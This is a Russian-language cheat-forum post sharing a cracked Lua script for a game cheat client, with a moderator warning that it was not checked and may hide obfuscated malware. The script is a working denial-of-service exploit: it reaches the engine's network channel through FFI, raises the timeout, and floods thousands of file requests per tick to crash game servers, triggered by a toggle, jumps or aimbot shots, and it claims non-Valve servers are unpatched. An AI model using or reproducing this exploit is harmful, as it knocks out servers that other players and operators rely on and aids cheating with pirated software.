-
Автор темы
- #1
Данный скрипт не проверялся модераторами, так как является кряком приватной LUA и в нём может присутствовать обфускация. Даже известные пользователи могут выложить вредоносный скрипт под видом крякнутого, поэтому любое использование исключительно на свой страх и риск.
Код:
local crashs = menu.Switch('Crash', "CRASH SERVER", false)
local crashslider = menu.SliderInt('Crash', "Packets", 4096,1,10000)
local crashtriggers = menu.MultiCombo("Crash", "Triggers", {"ragebot shot", "in air"}, 0)
local indicatorcrash = menu.Switch("Crash", "Indicator", false)
local consolecrash = menu.Switch("Crash", "Console Logs", false)
local ishotomg = false
local isinairomg = false
cheat.RegisterCallback('events', function(event)
if not crashtriggers:GetBool(1) then
isinairomg = false
return
else
if event:GetName() == "player_jump" then
isinairomg = true
end
end
end)
menu.Text("Status", "Status:")
menu.Text("Status", "NON-VALVE SERVERS: UNPATCHED")
menu.Text("Status", "VALVE SERVERS: PATCHED")
menu.Text("Status", "Last Updated: 30th Of May 2021")
local button = menu.Button("Status", "DEVELOPED BY SmoK#0911")
local ffi = require('ffi')
ffi.cdef[[
typedef void*(__thiscall* getnetchannel_t)(void*); // engineclient 78
typedef void(__thiscall* set_timeout_t)(void*, float, bool); // netchan 31
typedef unsigned int(__thiscall* request_file_t)(void*, const char*, bool); // netchan 62
void* GetProcAddress(void* hModule, const char* lpProcName);
void* GetModuleHandleA(const char* lpModuleName);
typedef struct {
uint8_t r;
uint8_t g;
uint8_t b;
uint8_t a;
} color_struct_t;
typedef void (*console_color_print)(const color_struct_t&, const char*, ...);
typedef void* (__thiscall* get_client_entity_t)(void*, int);
]]
local ffi_helpers = {
color_print_fn = ffi.cast("console_color_print", ffi.C.GetProcAddress(ffi.C.GetModuleHandleA("tier0.dll"), "?ConColorMsg@@YAXABVColor@@PBDZZ")),
color_print = function(self, text, color)
local col = ffi.new("color_struct_t")
col.r = color.r * 255
col.g = color.g * 255
col.b = color.b * 255
col.a = color.a * 255
self.color_print_fn(col, text)
end
}
local function coloredPrint(color, text)
ffi_helpers.color_print(ffi_helpers, text, color)
end
local engineclient = ffi.cast(ffi.typeof("void***"), utils.CreateInterface("engine.dll", "VEngineClient014"))
local getnetchannel = ffi.cast("getnetchannel_t", engineclient[0][78])
local netchannel = {}
do
function vfunc_wrapper(type, index)
return function(...)
-- only did this for netchannel, you can probably extend it to make it a proper wrapper
local netchannel = ffi.cast(ffi.typeof("void***"), getnetchannel(engineclient))
local fn = ffi.cast(type, netchannel[0][index])
return fn(netchannel, ...)
end
end
netchannel.set_timeout = vfunc_wrapper("set_timeout_t", 31)
netchannel.request_file = vfunc_wrapper("request_file_t", 62)
end
local packetcount = 0
cheat.RegisterCallback("createmove", function()
netchannel.set_timeout(3600, false);
if isinairomg then
for i=1,crashslider:GetInt() do
netchannel.request_file(".txt", false);
end
isinairomg = false
end
end)
cheat.RegisterCallback('ragebot_shot', function()
netchannel.set_timeout(3600, false);
if crashtriggers:GetBool(0) then
for i=1,crashslider:GetInt() do
netchannel.request_file(".txt", false);
end
end
end)
cheat.RegisterCallback("createmove", function()
netchannel.set_timeout(3600, false);
if crashs:GetBool() then
for i=1,crashslider:GetInt() do
netchannel.request_file(".txt", false);
packetcount = packetcount + 1
end
else
packetcount = 0
end
end)
cheat.RegisterCallback("draw", function()
-- netchannel.set_timeout(3600, false);
if crashs:GetBool() then
if indicatorcrash:GetBool() then
g_Render:Text("Crashing [" .. packetcount .."]", Vector2.new(25, 550), Color.new(0, 1, 0, 1), 24, true)
end
if consolecrash:GetBool() then
coloredPrint(Color.new(1, 0, 1, 1), "[+] crashing server...\n")
end
end
end)
Вложения
-
114.9 KB Просмотры: 782